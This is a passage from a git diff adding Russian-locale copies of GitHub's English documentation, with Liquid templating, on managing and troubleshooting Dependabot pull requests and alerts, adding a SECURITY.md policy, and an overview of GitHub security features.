compatibility score. This may also help you decide whether or not to merge the change. For information about this score, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."{% endif %} + +If you have many dependencies to manage, you may want to customize the configuration for each package manager so that pull requests have specific reviewers, assignees, and labels. For more information, see "[Customizing dependency updates](/github/administering-a-repository/customizing-dependency-updates)." + +## Viewing {% data variables.product.prodname_dependabot %} pull requests + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-pr %} +1. Any pull requests for security or version updates are easy to identify. + - The author is {% ifversion fpt or ghec %}[dependabot](https://github.com/dependabot){% else %}dependabot{% endif %}, the bot account used by {% data variables.product.prodname_dependabot %}. + - By default, they have the `dependencies` label. + +## Changing the rebase strategy for {% data variables.product.prodname_dependabot %} pull requests + +By default, {% data variables.product.prodname_dependabot %} automatically rebases pull requests to resolve any conflicts. If you'd prefer to handle merge conflicts manually, you can disable this using the `rebase-strategy` option. For details, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#rebase-strategy)." + +## Allowing {% data variables.product.prodname_dependabot %} to rebase and force push over extra commits + +By default, {% data variables.product.prodname_dependabot %} will stop rebasing a pull request once extra commits have been pushed to it. To allow {% data variables.product.prodname_dependabot %} to force push over commits added to its branches, include any of the following strings: `[dependabot skip]` , `[skip dependabot]`, `[dependabot-skip]`, or `[skip-dependabot]`, in either lower or uppercase, to the commit message. + +## Managing {% data variables.product.prodname_dependabot %} pull requests with comment commands + +{% data variables.product.prodname_dependabot %} responds to simple commands in comments. Each pull request contains details of the commands you can use to process the pull request (for example: to merge, squash, reopen, close, or rebase the pull request) under the "{% data variables.product.prodname_dependabot %} commands and options" section. The aim is to make it as easy as possible for you to triage these automatically generated pull requests. + +You can use any of the following commands on a {% data variables.product.prodname_dependabot %} pull request. + +- `@dependabot cancel merge` cancels a previously requested merge. +- `@dependabot close` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from recreating that pull request. You can achieve the same result by closing the pull request manually. +- `@dependabot ignore this dependency` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this dependency (unless you reopen the pull request or upgrade to the suggested version of the dependency yourself). +- `@dependabot ignore this major version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this major version (unless you reopen the pull request or upgrade to this major version yourself). +- `@dependabot ignore this minor version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this minor version (unless you reopen the pull request or upgrade to this minor version yourself). +- `@dependabot merge` merges the pull request once your CI tests have passed. +- `@dependabot rebase` rebases the pull request. +- `@dependabot recreate` recreates the pull request, overwriting any edits that have been made to the pull request. +- `@dependabot reopen` reopens the pull request if the pull request is closed. +- `@dependabot squash and merge` squashes and merges the pull request once your CI tests have passed. + +{% data variables.product.prodname_dependabot %} will react with a "thumbs up" emoji to acknowledge the command, and may respond with a comment on the pull request. While {% data variables.product.prodname_dependabot %} usually responds quickly, some commands may take several minutes to complete if {% data variables.product.prodname_dependabot %} is busy processing other updates or commands. + +If you run any of the commands for ignoring dependencies or versions, {% data variables.product.prodname_dependabot %} stores the preferences for the repository centrally. While this is a quick solution, for repositories with more than one contributor it is better to explicitly define the dependencies and versions to ignore in the configuration file. This makes it easy for all contributors to see why a particular dependency isn't being updated automatically. For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#ignore)." diff --git a/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors.md b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors.md new file mode 100644 index 000000000000..2c3520724799 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors.md @@ -0,0 +1,153 @@ +--- +title: Troubleshooting Dependabot errors +intro: 'Sometimes {% data variables.product.prodname_dependabot %} is unable to raise a pull request to update your dependencies. You can review the error and unblock {% data variables.product.prodname_dependabot %}.' +shortTitle: Troubleshoot errors +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/managing-security-vulnerabilities/troubleshooting-github-dependabot-errors + - /github/managing-security-vulnerabilities/troubleshooting-dependabot-errors + - /code-security/supply-chain-security/troubleshooting-dependabot-errors + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors +versions: + fpt: '*' + ghec: '*' + ghes: '*' +type: how_to +topics: + - Dependabot + - Security updates + - Version updates + - Repositories + - Pull requests + - Troubleshooting + - Errors + - Dependencies +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} + +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About {% data variables.product.prodname_dependabot %} errors + +{% data reusables.dependabot.pull-request-introduction %} + +If anything prevents {% data variables.product.prodname_dependabot %} from raising a pull request, this is reported as an error. + +## Investigating errors with {% data variables.product.prodname_dependabot_security_updates %} + +When {% data variables.product.prodname_dependabot %} is blocked from creating a pull request to fix a {% data variables.product.prodname_dependabot %} alert, it posts the error message on the alert. The {% data variables.product.prodname_dependabot_alerts %} view shows a list of any alerts that have not been resolved yet. To access the alerts view, click **{% data variables.product.prodname_dependabot_alerts %}** on the **Security** tab for the repository. Where a pull request that will fix the vulnerable dependency has been generated, the alert includes a link to that pull request. + +![{% data variables.product.prodname_dependabot_alerts %} view showing a pull request link](/assets/images/help/dependabot/dependabot-alert-pr-link.png) + +There are several reasons why an alert may have no pull request link: + +1. {% data variables.product.prodname_dependabot_security_updates %} are not enabled for the repository. +{% ifversion GH-advisory-db-supports-malware %} +1. The alert is for malware and there is no secure version of the package. +{% endif %} +1. The alert is for an indirect or transitive dependency that is not explicitly defined in a lock file. +1. An error blocked {% data variables.product.prodname_dependabot %} from creating a pull request. + +If an error blocked {% data variables.product.prodname_dependabot %} from creating a pull request, you can display details of the error by clicking the alert. + +## Investigating errors with {% data variables.product.prodname_dependabot_version_updates %} + +When {% data variables.product.prodname_dependabot %} is blocked from creating a pull request to update a dependency in an ecosystem, it posts the error icon on the manifest file. The manifest files that are managed by {% data variables.product.prodname_dependabot %} are listed on the {% data variables.product.prodname_dependabot %} tab. To access this tab, on the **Insights** tab for the repository click **Dependency graph**, and then click the **{% data variables.product.prodname_dependabot %}** tab. + +![{% data variables.product.prodname_dependabot %} view showing an error](/assets/images/help/dependabot/dependabot-tab-view-error.png) + +{% ifversion fpt or ghec %} + +To see the log file for any manifest file, click the **Last checked TIME ago** link. When you display the log file for a manifest that's shown with an error symbol (for example, Maven in the screenshot above), any errors are also displayed. + +![{% data variables.product.prodname_dependabot %} version update error and log ](/assets/images/help/dependabot/dependabot-version-update-error.png) + +{% else %} + +To see the logs for any manifest file, click the **Last checked TIME ago** link, and then click **View logs**. + +![{% data variables.product.prodname_dependabot %} version update error and log ](/assets/images/enterprise/3.3/dependabot/dependabot-version-update-error.png) + +{% endif %} + +## Understanding {% data variables.product.prodname_dependabot %} errors + +Pull requests for security updates act to upgrade a vulnerable dependency to the minimum version that includes a fix for the vulnerability. In contrast, pull requests for version updates act to upgrade a dependency to the latest version allowed by the package manifest and {% data variables.product.prodname_dependabot %} configuration files. Consequently, some errors are specific to one type of update. + +### {% data variables.product.prodname_dependabot %} cannot update DEPENDENCY to a non-vulnerable version + +**Security updates only.** {% data variables.product.prodname_dependabot %} cannot create a pull request to update the vulnerable dependency to a secure version without breaking other dependencies in the dependency graph for this repository. + +Every application that has dependencies has a dependency graph, that is, a directed acyclic graph of every package version that the application directly or indirectly depends on. Every time a dependency is updated, this graph must resolve otherwise the application won't build. When an ecosystem has a deep and complex dependency graph, for example, npm and RubyGems, it is often impossible to upgrade a single dependency without upgrading the whole ecosystem. + +The best way to avoid this problem is to stay up to date with the most recently released versions, for example, by enabling version updates. This increases the likelihood that a vulnerability in one dependency can be resolved by a simple upgrade that doesn't break the dependency graph. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."{% ifversion dependabot-security-updates-unlock-transitive-dependencies %} + +### {% data variables.product.prodname_dependabot %} tries to update dependencies without an alert + +**Security updates only.** {% data variables.product.prodname_dependabot %} updates explicitly defined transitive dependencies that are vulnerable for all ecosystems. For npm, {% data variables.product.prodname_dependabot %} will raise a pull request that also updates the parent dependency if it's the only way to fix the transitive dependency. + +For example, a project with a dependency on `A` version `~2.0.0` which has a transitive dependency on `B` version `~1.0.0` which has resolved to `1.0.1`. +``` +my project +| +--> A (2.0.0) [~2.0.0] + | + --> B (1.0.1) [~1.0.0] +``` +If a security vulnerability is released for `B` versions `<2.0.0` and a patch is available at `2.0.0` then {% data variables.product.prodname_dependabot %} will attempt to update `B` but will find that it's not possible due to the restriction in place by `A` which only allows lower vulnerable versions. To fix the vulnerability, {% data variables.product.prodname_dependabot %} will look for updates to dependency `A` which allow the fixed version of `B` to be used. + +{% data variables.product.prodname_dependabot %} automatically generates a pull request that upgrades both the locked parent and child transitive dependencies.{% endif %} + +### {% data variables.product.prodname_dependabot %} cannot update to the required version as there is already an open pull request for the latest version + +**Security updates only.** {% data variables.product.prodname_dependabot %} will not create a pull request to update the vulnerable dependency to a secure version because there is already an open pull request to update this dependency. You will see this error when a vulnerability is detected in a single dependency and there's already an open pull request to update the dependency to the latest version. + +There are two options: you can review the open pull request and merge it as soon as you are confident that the change is safe, or close that pull request and trigger a new security update pull request. For more information, see "[Triggering a {% data variables.product.prodname_dependabot %} pull request manually](#triggering-a-dependabot-pull-request-manually)." + +### {% data variables.product.prodname_dependabot %} timed out during its update + +{% data variables.product.prodname_dependabot %} took longer than the maximum time allowed to assess the update required and prepare a pull request. This error is usually seen only for large repositories with many manifest files, for example, npm or yarn monorepo projects with hundreds of *package.json* files. Updates to the Composer ecosystem also take longer to assess and may time out. + +This error is difficult to address. If a version update times out, you could specify the most important dependencies to update using the `allow` parameter or, alternatively, use the `ignore` parameter to exclude some dependencies from updates. Updating your configuration might allow {% data variables.product.prodname_dependabot %} to review the version update and generate the pull request in the time available. + +If a security update times out, you can reduce the chances of this happening by keeping the dependencies updated, for example, by enabling version updates. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." + +### {% data variables.product.prodname_dependabot %} cannot open any more pull requests + +There's a limit on the number of open pull requests {% data variables.product.prodname_dependabot %} will generate. When this limit is reached, no new pull requests are opened and this error is reported. The best way to resolve this error is to review and merge some of the open pull requests. + +There are separate limits for security and version update pull requests, so that open version update pull requests cannot block the creation of a security update pull request. The limit for security update pull requests is 10. By default, the limit for version updates is 5 but you can change this using the `open-pull-requests-limit` parameter in the configuration file. For more information, see "[Configuration options for the dependabot.yml file](/github/administering-a-repository/configuration-options-for-dependency-updates#open-pull-requests-limit)." + +The best way to resolve this error is to merge or close some of the existing pull requests and trigger a new pull request manually. For more information, see "[Triggering a {% data variables.product.prodname_dependabot %} pull request manually](#triggering-a-dependabot-pull-request-manually)." + +### {% data variables.product.prodname_dependabot %} can't resolve or access your dependencies + +If {% data variables.product.prodname_dependabot %} attempts to check whether dependency references need to be updated in a repository, but can't access one or more of the referenced files, the operation will fail with the error message "{% data variables.product.prodname_dependabot %} can't resolve your LANGUAGE dependency files." The API error type is `git_dependencies_not_reachable`. + +Similarly, if {% data variables.product.prodname_dependabot %} can't access a private package registry in which a dependency is located, one of the following errors is generated: + +* "Dependabot can't reach a dependency in a private package registry"
+ (API error type: `private_source_not_reachable`) +* "Dependabot can't authenticate to a private package registry"
+ (API error type:`private_source_authentication_failure`) +* "Dependabot timed out while waiting for a private package registry"
+ (API error type:`private_source_timed_out`) +* "Dependabot couldn't validate the certificate for a private package registry"
+ (API error type:`private_source_certificate_failure`) + +To allow {% data variables.product.prodname_dependabot %} to update the dependency references successfully, make sure that all of the referenced dependencies are hosted at accessible locations. + +**Version updates only.** {% data reusables.dependabot.private-dependencies-note %} Additionally, {% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. For more information, see "[About Dependabot version updates](/github/administering-a-repository/about-dependabot-version-updates#supported-repositories-and-ecosystems)." + +## Triggering a {% data variables.product.prodname_dependabot %} pull request manually + +If you unblock {% data variables.product.prodname_dependabot %}, you can manually trigger a fresh attempt to create a pull request. + +- **Security updates**—display the {% data variables.product.prodname_dependabot %} alert that shows the error you have fixed and click **Create {% data variables.product.prodname_dependabot %} security update**. +- **Version updates**—on the **Insights** tab for the repository click **Dependency graph**, and then click the **Dependabot** tab. Click **Last checked *TIME* ago** to see the log file that {% data variables.product.prodname_dependabot %} generated during the last check for version updates. Click **Check for updates**. + +## Further reading + +- "[Troubleshooting the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph)" +- "[Troubleshooting the detection of vulnerable dependencies](/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies)" diff --git a/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md new file mode 100644 index 000000000000..725554270a5a --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md @@ -0,0 +1,99 @@ +--- +title: Troubleshooting the detection of vulnerable dependencies +intro: 'If the dependency information reported by {% data variables.product.product_name %} is not what you expected, there are a number of points to consider, and various things you can check.' +shortTitle: Troubleshoot vulnerability detection +redirect_from: + - /github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies + - /code-security/supply-chain-security/troubleshooting-the-detection-of-vulnerable-dependencies + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Dependabot + - Alerts + - Troubleshooting + - Errors + - Security updates + - Dependencies + - Vulnerabilities + - CVEs + - Repositories +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.result-discrepancy %} + +## Why do some dependencies seem to be missing? + +{% data variables.product.prodname_dotcom %} generates and displays dependency data differently than other tools. Consequently, if you've been using another tool to identify dependencies you will almost certainly see different results. Consider the following: + +* {% data variables.product.prodname_advisory_database %} is one of the data sources that {% data variables.product.prodname_dotcom %} uses to identify vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} and malware{% endif %}. It's a free, curated database of security advisories for common package ecosystems on {% data variables.product.prodname_dotcom %}. It includes both data reported directly to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_security_advisories %}, as well as official feeds and community sources. This data is reviewed and curated by {% data variables.product.prodname_dotcom %} to ensure that false or unactionable information is not shared with the development community. {% data reusables.security-advisory.link-browsing-advisory-db %} +* The dependency graph parses all known package manifest files in a user’s repository. For example, for npm it will parse the _package-lock.json_ file. It constructs a graph of all of the repository’s dependencies and public dependents. This happens when you enable the dependency graph and when anyone pushes to the default branch, and it includes commits that makes changes to a supported manifest format. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)" and "[Troubleshooting the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph)." +* {% data variables.product.prodname_dependabot %} scans any push, to the default branch, that contains a manifest file. When a new advisory is added, it scans all existing repositories and generates an alert for each repository that is affected. {% data variables.product.prodname_dependabot_alerts %} are aggregated at the repository level, rather than creating one alert per advisory. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." +* {% ifversion fpt or ghec or ghes %}{% data variables.product.prodname_dependabot_security_updates %} are triggered when you receive an alert about a vulnerable dependency in your repository. Where possible, {% data variables.product.prodname_dependabot %} creates a pull request in your repository to upgrade the vulnerable dependency to the minimum possible secure version needed to avoid the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." + + {% endif %}{% data variables.product.prodname_dependabot %} doesn't scan repositories on a schedule, but rather when something changes. For example, a scan is triggered when a new dependency is added ({% data variables.product.prodname_dotcom %} checks for this on every push), or when a new advisory is added to the database{% ifversion ghes or ghae %} and synchronized to {% data variables.location.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-insecure-dependencies)." + +## Do {% data variables.product.prodname_dependabot_alerts %} only relate to insecure dependencies in manifests and lockfiles? + +{% data variables.product.prodname_dependabot_alerts %} advise you about dependencies you should update, including transitive dependencies, where the version can be determined from a manifest or a lockfile. {% ifversion fpt or ghec or ghes %}{% data variables.product.prodname_dependabot_security_updates %} only suggest a change where {% data variables.product.prodname_dependabot %} can directly "fix" the dependency, that is, when these are: +* Direct dependencies explicitly declared in a manifest or lockfile +* Transitive dependencies declared in a lockfile{% endif %} + +**Check**: Is the uncaught vulnerability for a component that's not specified in the repository's manifest or lockfile? + +## Why don't I get {% data variables.product.prodname_dependabot_alerts %} for some ecosystems? + +{% data variables.product.prodname_dependabot_alerts %} are supported for a set of ecosystems where we can provide high-quality, actionable data. Curated advisories in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and {% data variables.product.prodname_dependabot_alerts %} are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. We'll continue to add support for more ecosystems over time. For an overview of the package ecosystems that we support, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." + +It's worth noting that security advisories may exist for other ecosystems. The information in an unreviewed security advisory is provided by the maintainers of a particular repository. This data is not curated by {% data variables.product.prodname_dotcom %}. {% data reusables.security-advisory.link-browsing-advisory-db %} + +**Check**: Does the uncaught vulnerability apply to an unsupported ecosystem? + +## Does {% data variables.product.prodname_dependabot %} generate alerts for vulnerabilities that have been known for many years? + +The {% data variables.product.prodname_advisory_database %} was launched in November 2019, and initially back-filled to include advisories for security risks in the supported ecosystems, starting from 2017. When adding CVEs to the database, we prioritize curating newer CVEs, and CVEs affecting newer versions of software. + +Some information on older vulnerabilities is available, especially where these CVEs are particularly widespread, however some old vulnerabilities are not included in the {% data variables.product.prodname_advisory_database %}. If there's a specific old vulnerability that you need to be included in the database, contact {% data variables.contact.contact_support %}. + +**Check**: Does the uncaught vulnerability have a publish date earlier than 2017 in the National Vulnerability Database? + +## Why does {% data variables.product.prodname_advisory_database %} use a subset of published vulnerability data? + +Some third-party tools use uncurated CVE data that isn't checked or filtered by a human. This means that CVEs with tagging or severity errors, or other quality issues, will cause more frequent, more noisy, and less useful alerts. + +Since {% data variables.product.prodname_dependabot %} uses curated data in the {% data variables.product.prodname_advisory_database %}, the volume of alerts may be lower, but the alerts you do receive will be accurate and relevant. + +{% ifversion fpt or ghec %} +## Does each insecure dependency generate a separate alert? + +When a dependency has multiple vulnerabilities, an alert is generated for each vulnerability at the level of advisory plus manifest. + +![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} tab showing two alerts from the same package with different manifests.](/assets/images/help/repository/dependabot-alerts-view.png) + +Legacy {% data variables.product.prodname_dependabot_alerts %} were grouped into a single aggregated alert with all the vulnerabilities for the same dependency. If you navigate to a link to a legacy {% data variables.product.prodname_dependabot %} alert, you will be redirected to the {% data variables.product.prodname_dependabot_alerts %} tab filtered to display vulnerabilities for that dependent package and manifest. + +![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} tab showing the filtered alerts from navigating to a legacy {% data variables.product.prodname_dependabot %} alert.](/assets/images/help/repository/legacy-dependabot-alerts-view.png) + +The {% data variables.product.prodname_dependabot_alerts %} count in {% data variables.product.prodname_dotcom %} shows a total for the number of alerts, which is the number of vulnerabilities, not the number of dependencies. + +**Check**: If there is a discrepancy in the totals you are seeing, check that you are not comparing alert numbers with dependency numbers. Also check that you are viewing all alerts and not a subset of filtered alerts. +{% endif %} + +{% ifversion fpt or ghec or ghes %} +## Can Dependabot ignore specific dependencies? + +You can configure {% data variables.product.prodname_dependabot %} to ignore specific dependencies in the configuration file, which will prevent security and version updates for those dependencies. If you only wish to use security updates, you will need to override the default behavior with a configuration file. For more information, see "[Overriding the default behavior with a configuration file](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#overriding-the-default-behavior-with-a-configuration-file)" to prevent version updates from being activated. For information about ignoring dependencies, see "[`ignore`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#ignore)." +{% endif %} + +## Further reading + +- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" +- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)" +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" +- "[Troubleshooting the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph)"{% ifversion fpt or ghec or ghes %} +- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} diff --git a/translations/ru-RU/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/translations/ru-RU/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md new file mode 100644 index 000000000000..c9c65be814e1 --- /dev/null +++ b/translations/ru-RU/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md @@ -0,0 +1,65 @@ +--- +title: Adding a security policy to your repository +intro: You can give instructions for how to report a security vulnerability in your project by adding a security policy to your repository. +redirect_from: + - /articles/adding-a-security-policy-to-your-repository + - /github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository + - /github/code-security/security-advisories/adding-a-security-policy-to-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Security policies + - Vulnerabilities + - Repositories + - Health +shortTitle: Add a security policy +--- + +## About security policies + +To give people instructions for reporting security vulnerabilities in your project,{% ifversion fpt or ghes or ghec %} you can add a _SECURITY.md_ file to your repository's root, `docs`, or `.github` folder.{% else %} you can add a _SECURITY.md_ file to your repository's root, or `docs` folder.{% endif %} When someone creates an issue in your repository, they will see a link to your project's security policy. + +{% ifversion not ghae %} + +You can create a default security policy for your organization or personal account. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." +{% endif %} + +{% tip %} + +**Tip:** To help people find your security policy, you can link to your _SECURITY.md_ file from other places in your repository, such as your README file. For more information, see "[About READMEs](/articles/about-readmes)." + +{% endtip %} + +{% ifversion fpt or ghec %} +After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about repository security advisories, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." + +{% data reusables.repositories.github-security-lab %} +{% endif %} +{% ifversion ghes or ghae %} + +By making security reporting instructions clearly available, you make it easy for your users to report any security vulnerabilities they find in your repository using your preferred communication channel. +{% endif %} + +## Adding a security policy to your repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +3. In the left sidebar, click **Security policy**. + ![Security policy tab](/assets/images/help/security/security-policy-tab.png) +4. Click **Start setup**. + ![Start setup button](/assets/images/help/security/start-setup-security-policy-button.png) +5. In the new _SECURITY.md_ file, add information about supported versions of your project and how to report a vulnerability. +{% data reusables.files.write_commit_message %} +{% data reusables.files.choose-commit-email %} +{% data reusables.files.choose_commit_branch %} +{% data reusables.files.propose_file_change %} + +## Further reading + +- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %} +- "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %} +- [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}){% endif %} diff --git a/translations/ru-RU/content/code-security/getting-started/github-security-features.md b/translations/ru-RU/content/code-security/getting-started/github-security-features.md new file mode 100644 index 000000000000..081272149c06 --- /dev/null +++ b/translations/ru-RU/content/code-security/getting-started/github-security-features.md @@ -0,0 +1,122 @@ +--- +title: GitHub security features +intro: 'An overview of {% data variables.product.prodname_dotcom %} security features.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Repositories + - Dependencies + - Vulnerabilities + - Advanced Security +--- + +## About {% data variables.product.prodname_dotcom %}'s security features + +{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. {% data reusables.advanced-security.security-feature-availability %} + +The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %} + +## Available for all repositories +### Security policy + +Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)." + +{% ifversion fpt or ghec %} +### Security advisories + +Privately discuss and fix security vulnerabilities in your repository's code. You can then publish a security advisory to alert your community to the vulnerability and encourage community members to upgrade. For more information, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." + +{% endif %} +{% ifversion fpt or ghec or ghes %} + +### {% data variables.product.prodname_dependabot_alerts %} and security updates + +View alerts about dependencies that are known to contain security vulnerabilities, and choose whether to have pull requests generated automatically to update these dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" +and "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." +{% endif %} + +{% ifversion ghae %} +### {% data variables.product.prodname_dependabot_alerts %} + +{% data reusables.dependabot.dependabot-alerts-beta %} + +View alerts about dependencies that are known to contain security vulnerabilities, and manage these alerts. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +{% endif %} + +{% ifversion fpt or ghec or ghes %} +### {% data variables.product.prodname_dependabot %} version updates + +Use {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. This helps reduce your exposure to older versions of dependencies. Using newer versions makes it easier to apply patches if security vulnerabilities are discovered, and also makes it easier for {% data variables.product.prodname_dependabot_security_updates %} to successfully raise pull requests to upgrade vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)." +{% endif %} + +### Dependency graph +The dependency graph allows you to explore the ecosystems and packages that your repository depends on and the repositories and packages that depend on your repository. + +You can find the dependency graph on the **Insights** tab for your repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." + +{% ifversion security-overview-displayed-alerts %} +### Security overview + +The security overview allows you to review security configurations and alerts, making it easy to identify the repositories and organizations at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + +{% else %} +### Security overview for repositories +The security overview shows which security features are enabled for the repository, and offers you the option of configuring any available security features that are not already enabled. +{% endif %} + +## Available with {% data variables.product.prodname_GH_advanced_security %} + +{% ifversion fpt %} +The following {% data variables.product.prodname_GH_advanced_security %} features are available and free of charge for public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can use the full set of features in any of their repositories. For a list of the features available with {% data variables.product.prodname_ghe_cloud %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/github-security-features#available-with-github-advanced-security). + +{% elsif ghec %} +Many {% data variables.product.prodname_GH_advanced_security %} features are available and free of charge for public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations within an enterprise that have a {% data variables.product.prodname_GH_advanced_security %} license can use the following features on all their repositories. {% data reusables.advanced-security.more-info-ghas %} + +{% elsif ghes %} +{% data variables.product.prodname_GH_advanced_security %} features are available for enterprises with a license for {% data variables.product.prodname_GH_advanced_security %}. The features are restricted to repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %} + +{% elsif ghae %} +{% data variables.product.prodname_GH_advanced_security %} features are available for repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %} +{% endif %} + +### {% data variables.product.prodname_code_scanning_capc %} + +Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." + +{% ifversion fpt or ghec %} +### {% data variables.product.prodname_secret_scanning_partner_caps %} + +Automatically detect leaked secrets across all public repositories. {% data variables.product.company_short %} informs the relevant service provider that the secret may be compromised. For details of the supported secrets and service providers, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." +{% endif %} + +{% ifversion 